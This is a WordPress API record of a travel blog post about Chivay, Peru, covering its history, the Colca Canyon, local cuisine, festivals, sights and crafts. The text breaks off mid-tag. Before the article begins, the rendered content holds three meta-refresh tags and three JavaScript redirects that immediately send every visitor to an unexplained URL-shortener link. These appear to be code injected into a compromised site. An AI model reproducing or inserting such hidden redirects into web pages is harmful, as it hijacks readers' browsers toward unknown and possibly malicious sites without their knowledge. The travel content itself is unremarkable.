{"id":15031,"date":"2025-08-27T13:14:56","date_gmt":"2025-08-27T18:14:56","guid":{"rendered":"https:\/\/blog.viajesmachupicchu.travel\/en\/?p=15031"},"modified":"2025-08-27T13:15:15","modified_gmt":"2025-08-27T18:15:15","slug":"arequipas-chivay-where-culture-meets-canyon-views","status":"publish","type":"post","link":"https:\/\/blog.viajesmachupicchu.travel\/en\/arequipas-chivay-where-culture-meets-canyon-views\/","title":{"rendered":"Arequipa&#8217;s Chivay: Where Culture Meets Canyon Views"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n\n<p>Chivay is located high in the Andes at 3,635 meters above sea level. It\u2019s a small town with a big personality. <\/p>\n\n\n\n<p>As the gateway to the breathtaking <a href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/colca-canyon\"><strong>Colca Canyon,<\/strong><\/a> this gem in Arequipa\u2019s Caylloma Province is more than a traveler\u2019s pitstop\u2014it\u2019s a living tapestry of ancient history, colorful traditions, and jaw-dropping landscapes.\u00a0<\/p>\n\n\n\n<p>With a population of around 5,000, Chivay hums with Quechua chatter, vibrant markets, and a charm that makes you want to stay longer than planned.&nbsp;<\/p>\n\n\n\n<p>From its pre-Inca roots to its colonial past and modern tourism buzz, here\u2019s why Chivay is a must-visit. Therefore, buckle up for a fun, informative ride through this Andean treasure!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>A Stroll Through History: Chivay\u2019s Ancient Roots<\/strong><\/h2>\n\n\n\n<p>Firstly, Chivay\u2019s story kicks off thousands of years ago with the Collawas and Cabanas, pre-Inca peoples descended from the Wari and Tiahuanaco civilizations.&nbsp;<\/p>\n\n\n\n<p>As early as 5000 B.C., these hardy folks roamed the Colca Valley as hunters and gatherers, eventually mastering agriculture with terraced fields and \u201ccolcas\u201d (stone storage silos) that still dot the landscape.&nbsp;<\/p>\n\n\n\n<p>The town\u2019s name, \u201cChivay,\u201d likely comes from the Quechua \u201cchuay\u201d or \u201cchua\u201d, meaning \u201cplate of clay,\u201d a nod to its bowl-shaped valley.<\/p>\n\n\n\n<p>Later, when the<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-inca-empires-greatness-the-story-of-tahuantinsuyo\/\"><strong> Inca Empire<\/strong><\/a> swept in during the 15th century, they embraced the Collawas and Cabanas, organizing Chivay into three districts\u2014Urinsaya, Hanansaya, and Ccapa\u2014that still define its neighborhoods today.&nbsp;<\/p>\n\n\n\n<p>These divisions weren\u2019t just practical; they carried deep social meaning, shaping local identity and pride that spilled into modern festivals.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"392\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/20160804_065643.jpg?resize=697%2C392&#038;ssl=1\" alt=\"Andean women with native costumes dancing in Chivay's main plaza\" class=\"wp-image-15229\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/20160804_065643.jpg?resize=1024%2C576&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/20160804_065643.jpg?resize=300%2C169&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/20160804_065643.jpg?resize=768%2C432&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/20160804_065643.jpg?resize=1536%2C864&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/20160804_065643.jpg?w=2048&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/20160804_065643.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<p>The <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-spanish-conquest-in-peru\/\"><strong>Spanish conquest<\/strong><\/a> in the 16th century shook things up. In 1571, Viceroy Toledo officially founded Chivay as a \u201creducci\u00f3n\u201d, resettling indigenous communities to control and convert them to Christianity.&nbsp;<\/p>\n\n\n\n<p>Then, the Spanish laid out a colonial grid with a central \u201cPlaza de Armas\u201d, a church, and a council building (now the municipality).&nbsp;<\/p>\n\n\n\n<p>The \u201cNuestra Se\u00f1ora de la Asunci\u00f3n\u201d church, built in the 18th century from creamy volcanic stone, stands as a weathered symbol of this era, its arches and bell tower hinting at colonial grandeur.<\/p>\n\n\n\n<p>Chivay briefly boomed in the colonial period thanks to nearby gold, silver, and lead mines, which funneled wealth through the town.<\/p>\n\n\n\n<p>&nbsp;However,&nbsp; when the mines petered out during Peru\u2019s Republican era, Chivay settled into a quieter life of farming and herding.&nbsp;<\/p>\n\n\n\n<p>That changed in the 20th century, when the Colca Canyon\u2019s stunning depth\u20144,160 meters, twice that of the Grand Canyon\u2014catapulted Chivay into a tourism hotspot. Today, it\u2019s one of Peru\u2019s most visited towns, blending ancient traditions with a welcoming vibe for travelers.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Where Mountains Meet Magic: Chivay\u2019s Setting<\/strong><\/h2>\n\n\n\n<p>Imagine a highland valley cradled by snow-capped mountains and volcanoes, with the Colca River carving through dramatic cliffs.&nbsp;<\/p>\n\n\n\n<p>Well, that\u2019s Chivay\u2019s backyard. At 3,635 meters, the air is crisp, the views are epic, and the Colca Canyon, the world\u2019s second-deepest, is just a short trip away.&nbsp;<\/p>\n\n\n\n<p>Located 163 kilometers (a 3-hour drive) from <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/exploring-the-historic-streets-of-arequipa\/\" title=\"\">Arequipa city<\/a><\/strong>, Chivay is the perfect launchpad for canyon adventures.<\/p>\n\n\n\n<p>In addition, the climate is classic Andes: mild days, frosty nights, and a wet season (November-March) versus a dry one (April-October).&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"871\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/204606889_511842663582420_937675047081342930_n.jpg?resize=697%2C871&#038;ssl=1\" alt=\"Tourist girl in the chivay entrance\" class=\"wp-image-15443\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/204606889_511842663582420_937675047081342930_n.jpg?resize=819%2C1024&amp;ssl=1 819w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/204606889_511842663582420_937675047081342930_n.jpg?resize=240%2C300&amp;ssl=1 240w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/204606889_511842663582420_937675047081342930_n.jpg?resize=768%2C960&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/204606889_511842663582420_937675047081342930_n.jpg?w=1080&amp;ssl=1 1080w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<p>Conversely, temperatures swing from -1\u00b0C to 17\u00b0C, so pack a warm jacket and sturdy shoes.<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/altitude-sickness-in-peru-symptoms-prevention\/\"><strong> Altitude sickness<\/strong><\/a> can sneak up, so take it easy, sip coca tea, and hydrate like a champ.<\/p>\n\n\n\n<p>Chivay\u2019s streets are a delightful mix of cobblestone charm and colonial color. The Plaza de Armas buzzes with life\u2014locals in embroidered skirts and felted-wool hats sell alpaca scarves, fresh quinoa, and steaming tamales.&nbsp;<\/p>\n\n\n\n<p>Similarly, the daily market is a sensory fiesta, with sizzling alpaca skewers, stacks of <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-chuno-an-andean-tradition-of-preservation\/\"><strong>chu\u00f1o (freeze-dried potatoes)<\/strong><\/a>, and the occasional guinea pig (cuy) on the grill. It\u2019s the kind of place where you\u2019ll want to linger, camera in one hand, snack in the other.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>A Taste of Chivay: Local Cuisine<\/strong><\/h2>\n\n\n\n<p>You can\u2019t talk about Chivay without mentioning the food. Andean cuisine here is hearty, flavorful, and rooted in tradition.&nbsp;<\/p>\n\n\n\n<p>For example, dishes like \u201c<strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/rocoto-relleno-perus-sizzling-stuffed-pepper-fiesta\/\" title=\"\">rocoto relleno<\/a><\/strong>\u201d (spicy stuffed peppers) and \u201cchupe de camarones\u201d (creamy shrimp chowder) warm you up on chilly nights.\u00a0<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"517\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/rocot.webp?resize=697%2C517&#038;ssl=1\" alt=\"Rocoto relleno in a plate with pastel de papa\" class=\"wp-image-15034\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/rocot.webp?resize=1024%2C759&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/rocot.webp?resize=300%2C223&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/rocot.webp?resize=768%2C570&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/rocot.webp?w=1200&amp;ssl=1 1200w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/pachamanca-the-ancient-andean-cooking-ritual\/\"><strong>\u201cPachamanca<\/strong><\/a>\u201d, a feast of meats and potatoes cooked underground with hot stones, is a special-occasion treat, often served at festivals.&nbsp;<\/p>\n\n\n\n<p>Adventurous eaters can try cuy, a pre-Columbian delicacy that is a flavored guinea pig dish.&nbsp;Wash it down with chicha morada (purple corn juice) or, for the brave, chicha de jora, a fermented corn brew.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Culture That Dances: Traditions and Festivals<\/strong><\/h2>\n\n\n\n<p>Chivay\u2019s heart beats loudest during its festivals. For example, the Collawas and Cabanas left their mark on everything from Quechua and Aymara dialects to the \u201cwititi\u201d dance, a UNESCO-recognized Cultural Heritage of the Nation.&nbsp;<\/p>\n\n\n\n<p>Performed during the December 8 Festival of the Virgin Immaculate Conception, &#8220;wititi&#8221; tells a romantic tale of Inca-Collagua unity through synchronized steps.&nbsp;<\/p>\n\n\n\n<p>Men don military jackets and women\u2019s skirts (a colonial workaround after Inca warrior garb was banned), while women wear white straw hats or eight-pointed star designs, signaling their Collawa or Cabana heritage.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/Chivay-1.jpg?resize=697%2C465&#038;ssl=1\" alt=\"\" class=\"wp-image-15445\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/Chivay-1.jpg?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/Chivay-1.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/Chivay-1.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/Chivay-1.jpg?resize=1536%2C1024&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/Chivay-1.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/Chivay-1.jpg?w=2048&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/Chivay-1.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<p>This three-day festival is a riot of color, with dance troupes, live music, and market stalls dishing up the best of<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/arequipa-gastronomy-a-guide-to-the-best-dishes\/\"><strong> Arequipa&#8217;s Gastronomy<\/strong><\/a>.<\/p>\n\n\n\n<p>Smaller festivals, like the Virgin of Chapi, blend Catholic and Andean spirituality, with candlelit processions and offerings to the<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/peruvian-legends-tales-and-stories-of-the-apus-in-cusco\/\"><strong> \u201capus\u201d (mountain deities).&nbsp;<\/strong><\/a><\/p>\n\n\n\n<p>The Inca Bridge, a stone crossing over the Colca River, is another cultural icon, linking Chivay\u2019s past to its present. Also, nearby, the Chullpa de Sol de Sacsayhuaman, a stone tower, offers 360-degree views of the valley\u2014a perfect spot to feel the town\u2019s ancient pulse.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Chivay\u2019s Must-See Spots<\/strong><\/h2>\n\n\n\n<p>Chivay is a treasure trove of experiences. Here\u2019s the hit list:<\/p>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"392\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/banos-termales.jpg?resize=697%2C392&#038;ssl=1\" alt=\"\" class=\"wp-image-15446 size-full\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/banos-termales.jpg?resize=1024%2C576&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/banos-termales.jpg?resize=300%2C169&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/banos-termales.jpg?resize=768%2C432&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/banos-termales.jpg?resize=1536%2C864&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/banos-termales.jpg?w=1920&amp;ssl=1 1920w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/banos-termales.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p><strong>La Calera Thermal Baths:<\/strong> A 3 km jaunt from town, these volcanic<strong> <\/strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/perus-hot-springs-and-thermal-waters\/\"><strong>hot springs<\/strong><\/a> (38-40\u00b0C) are pure bliss. Soak in five pools at 3,633 meters, surrounded by starry skies or misty mountains.<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2017\/09\/04_condor_photoby_esmeewinnubst_via_visualhunt.jpg?resize=697%2C465&#038;ssl=1\" alt=\"An andean condor flying next to four in the land, the plpace is the Cruz del Condor viewpoint.\" class=\"wp-image-2475 size-full\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2017\/09\/04_condor_photoby_esmeewinnubst_via_visualhunt.jpg?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2017\/09\/04_condor_photoby_esmeewinnubst_via_visualhunt.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2017\/09\/04_condor_photoby_esmeewinnubst_via_visualhunt.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2017\/09\/04_condor_photoby_esmeewinnubst_via_visualhunt.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2017\/09\/04_condor_photoby_esmeewinnubst_via_visualhunt.jpg?w=2048&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2017\/09\/04_condor_photoby_esmeewinnubst_via_visualhunt.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p><strong>Colca Canyon: <\/strong>One of the deepest canyons in the world is the main event! Drive to \u201cCruz del Condor viewpoint to watch <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-majestic-andean-condor-a-bird-thats-larger-than-life\/\" title=\"\">Andean condors <\/a><\/strong>glide on thermals or trek the canyon\u2019s trails. At 4,160 meters deep, it\u2019s a natural wonder.<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"392\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/maxresdefault-13.jpg?resize=697%2C392&#038;ssl=1\" alt=\"\" class=\"wp-image-15456 size-full\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/maxresdefault-13.jpg?resize=1024%2C576&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/maxresdefault-13.jpg?resize=300%2C169&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/maxresdefault-13.jpg?resize=768%2C432&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/maxresdefault-13.jpg?w=1280&amp;ssl=1 1280w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p><strong>Patapampa Viewpoint:<\/strong> At 4,800 meters, this 40-minute drive from Chivay offers volcano views and herds of vicu\u00f1as. Stack a stone for the apus and snap some photos.<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/image-asset.webp?resize=697%2C465&#038;ssl=1\" alt=\"\" class=\"wp-image-15452 size-full\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/image-asset.webp?w=768&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/image-asset.webp?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/image-asset.webp?resize=330%2C220&amp;ssl=1 330w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p><strong>Colca Planetarium and Observatory:<\/strong> The Andes\u2019 clear skies make this a <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/stargazing-unveiling-perus-celestial-secrets\/\"><strong>stargazer\u2019s dream<\/strong><\/a>. Peer at planets and galaxies in a high-tech dome.<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/481672532_609386108657414_1326520113636710212_n.jpg?resize=697%2C465&#038;ssl=1\" alt=\"\" class=\"wp-image-15455 size-full\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/481672532_609386108657414_1326520113636710212_n.jpg?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/481672532_609386108657414_1326520113636710212_n.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/481672532_609386108657414_1326520113636710212_n.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/481672532_609386108657414_1326520113636710212_n.jpg?resize=1536%2C1025&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/481672532_609386108657414_1326520113636710212_n.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/481672532_609386108657414_1326520113636710212_n.jpg?w=2048&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/481672532_609386108657414_1326520113636710212_n.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p><strong>Chivay Obsidian Source: <\/strong>Ten km east at 4,950 meters, this quarry supplied obsidian tools across Peru and Bolivia as early as 8200 B.C. It\u2019s a hike, but the history is worth it.<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile is-image-fill-element\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"463\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/plaza-de-armas-de-chivay.jpg?resize=697%2C463&#038;ssl=1\" alt=\"\" class=\"wp-image-15453 size-full\" style=\"object-position:50% 50%\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/plaza-de-armas-de-chivay.jpg?resize=1024%2C680&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/plaza-de-armas-de-chivay.jpg?resize=300%2C199&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/plaza-de-armas-de-chivay.jpg?resize=768%2C510&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/plaza-de-armas-de-chivay.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/plaza-de-armas-de-chivay.jpg?w=1200&amp;ssl=1 1200w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p><strong>Plaza de Armas and Church: <\/strong>The square is Chivay\u2019s social hub, while the &#8220;Nuestra Se\u00f1ora de la Asunci\u00f3n&#8221; church, with its volcanic stone facade, is a colonial beauty.<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Chivay\u2019s Crafty Side: Handmade Treasures<\/strong><\/h2>\n\n\n\n<p>Chivay\u2019s markets are a riot of color, with artisans weaving stories into every thread. Collawa and Cabana women spin alpaca wool into vibrant scarves, blankets, and \u201c<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/chullo-the-andean-hat-thats-cooler-than-you-think\/\"><strong>chullos\u201d<\/strong><\/a> (those cozy Andean hats with earflaps), using dyes from plants and bugs like cochineal for fiery reds.&nbsp;<\/p>\n\n\n\n<p>Each pattern\u2014zigzags for mountains, waves for rivers\u2014is a nod to Quechua heritage. For instance, at the \u201cMercado Artesanal San Juan\u201d, you\u2019ll see folks like Do\u00f1a Rosa, a local legend, knotting textiles while chatting in Quechua.&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"521\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/N2G7QVIH3NDA5HD2RV3EGF6ZCY.jpg?resize=697%2C521&#038;ssl=1\" alt=\"\" class=\"wp-image-15449\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/N2G7QVIH3NDA5HD2RV3EGF6ZCY.jpg?resize=1024%2C765&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/N2G7QVIH3NDA5HD2RV3EGF6ZCY.jpg?resize=300%2C224&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/N2G7QVIH3NDA5HD2RV3EGF6ZCY.jpg?resize=768%2C573&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/N2G7QVIH3NDA5HD2RV3EGF6ZCY.jpg?resize=1536%2C1147&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/N2G7QVIH3NDA5HD2RV3EGF6ZCY.jpg?w=1800&amp;ssl=1 1800w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/N2G7QVIH3NDA5HD2RV3EGF6ZCY.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<p>Volcanic \u201csillar\u201d stone carvings make lightweight souvenirs, from tiny condors to Inca gods. Bargain gently, and bring cash\u2014cards are rare.&nbsp;<\/p>\n\n\n\n<p>Pack a reusable tote to haul your loot, and ask about a pattern\u2019s meaning; it\u2019s a great way to spark a smile and a story.&nbsp;<\/p>\n\n\n\n<p><strong>Pro tip:<\/strong> Buy early in the morning when stalls are freshest and alpaca fluff is still flying!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Adventure Beyond the Canyon: Get Your Pulse Racing<\/strong><\/h2>\n\n\n\n<p>The Colca Canyon\u2019s a stunner, but Chivay\u2019s got more thrills up its sleeve. Rent a mountain bike from Colca Adventures and pedal through terraced fields, with volcanoes like Sabancaya looming large.&nbsp;<\/p>\n\n\n\n<p>Trails range from easy valley cruises to quad-burning descents for pros. Horseback riding through \u201cPampa de Yanque\u201d lets you channel your inner gaucho, trotting past curious alpacas.&nbsp;<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"346\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/mirador-cruz-del-condor.jpg?resize=697%2C346&#038;ssl=1\" alt=\"\" class=\"wp-image-15450\" 